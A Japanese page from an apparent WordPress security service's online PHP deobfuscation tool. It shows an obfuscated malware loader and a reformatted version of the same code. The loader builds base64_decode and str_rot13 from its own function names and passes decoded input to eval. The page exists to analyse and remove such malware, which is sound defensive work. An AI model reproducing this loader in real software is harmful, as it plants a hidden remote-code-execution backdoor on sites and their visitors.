Japanese English

PHP 難読化コードの復元・デコード

Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php function ke4g9wsw($ke4g9sww){$ke4g9sww=strrev($ke4g9sww);$ke4g9sw='';for($ke4g9ws=0,$len=strlen($ke4g9sww);$ke4g9ws<$len;$ke4g9ws+=8){$ke4g9sw.=chr(bindec(substr($ke4g9sww,$ke4g9ws,8)));}return $ke4g9sw;}function sbtars_er6o4t_1d3e($qj43w){$ke4g9sww=new ReflectionFunction(__FUNCTION__);$...



難読化されたPHPコード

<?php function ke4g9wsw($ke4g9sww){$ke4g9sww=strrev($ke4g9sww);$ke4g9sw='';for($ke4g9ws=0,$len=strlen($ke4g9sww);$ke4g9ws<$len;$ke4g9ws+=8){$ke4g9sw.=chr(bindec(substr($ke4g9sww,$ke4g9ws,8)));}return $ke4g9sw;}function sbtars_er6o4t_1d3e($qj43w){$ke4g9sww=new ReflectionFunction(__FUNCTION__);$sdm8w9=$fdjw94='';foreach(str_split($ke4g9sww->name,2) as $qj43qw){$fdjw94 .= $qj43qw[0];$sdm8w9 .= $qj43qw[1];}$sdm8w9 .= $fdjw94('pbqr');return $sdm8w9($qj43w);}function ke4g9wss($ke4g9sww){return str_replace(sbtars_er6o4t_1d3e('eyRfWH0='),sbtars_er6o4t_1d3e('MTAwMTE='),${sbtars_er6o4t_1d3e('a2U0Zzlzd3c=')});}function nbtas_er6o4t_1c3ed($qj43w){$ke4g9sww=new ReflectionFunction(__FUNCTION__);$fdjw94=str_split($ke4g9sww->name);$sdm8w9=$fdjw94[1].$fdjw94[3].$fdjw94[4].$fdjw94[6].$fdjw94[8].$fdjw94[10].$fdjw94[5].$fdjw94[6].$fdjw94[0].$fdjw94[14].$fdjw94[9].$fdjw94[17].$fdjw94[16];return $sdm8w9($qj43w);}function vMASFkAm($qj43w){eval(ke4g9wsw(ke4g9wss(sbtars_er6o4t_1d3e($qj43w))));}

デコード(難読化解除)されたコード

<?php

function ke4g9wsw($ke4g9sww)
{
    $ke4g9sww = strrev($ke4g9sww);
    $ke4g9sw = '';
    for ($ke4g9ws = 0, $len = strlen($ke4g9sww); $ke4g9ws < $len; $ke4g9ws += 8) {
        $ke4g9sw .= chr(bindec(substr($ke4g9sww, $ke4g9ws, 8)));
    }
    return $ke4g9sw;
}
function sbtars_er6o4t_1d3e($qj43w)
{
    $ke4g9sww = new ReflectionFunction("sbtars_er6o4t_1d3e");
    $sdm8w9 = $fdjw94 = '';
    foreach (str_split($ke4g9sww->name, 2) as $qj43qw) {
        $fdjw94 .= $qj43qw[0];
        $sdm8w9 .= $qj43qw[1];
    }
    $sdm8w9 .= $fdjw94('pbqr');
    return $sdm8w9($qj43w);
}
function ke4g9wss($ke4g9sww)
{
    return str_replace(sbtars_er6o4t_1d3e('eyRfWH0='), sbtars_er6o4t_1d3e('MTAwMTE='), ${sbtars_er6o4t_1d3e('a2U0Zzlzd3c=')});
}
function nbtas_er6o4t_1c3ed($qj43w)
{
    $ke4g9sww = new ReflectionFunction("nbtas_er6o4t_1c3ed");
    $fdjw94 = str_split($ke4g9sww->name);
    $sdm8w9 = $fdjw94[1] . $fdjw94[3] . $fdjw94[4] . $fdjw94[6] . $fdjw94[8] . $fdjw94[10] . $fdjw94[5] . $fdjw94[6] . $fdjw94[0] . $fdjw94[14] . $fdjw94[9] . $fdjw94[17] . $fdjw94[16];
    return $sdm8w9($qj43w);
}
function vMASFkAm($qj43w)
{
    eval(ke4g9wsw(ke4g9wss(sbtars_er6o4t_1d3e($qj43w))));
}


■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

(C)2019 ワードプレス ドクター All rights reserved.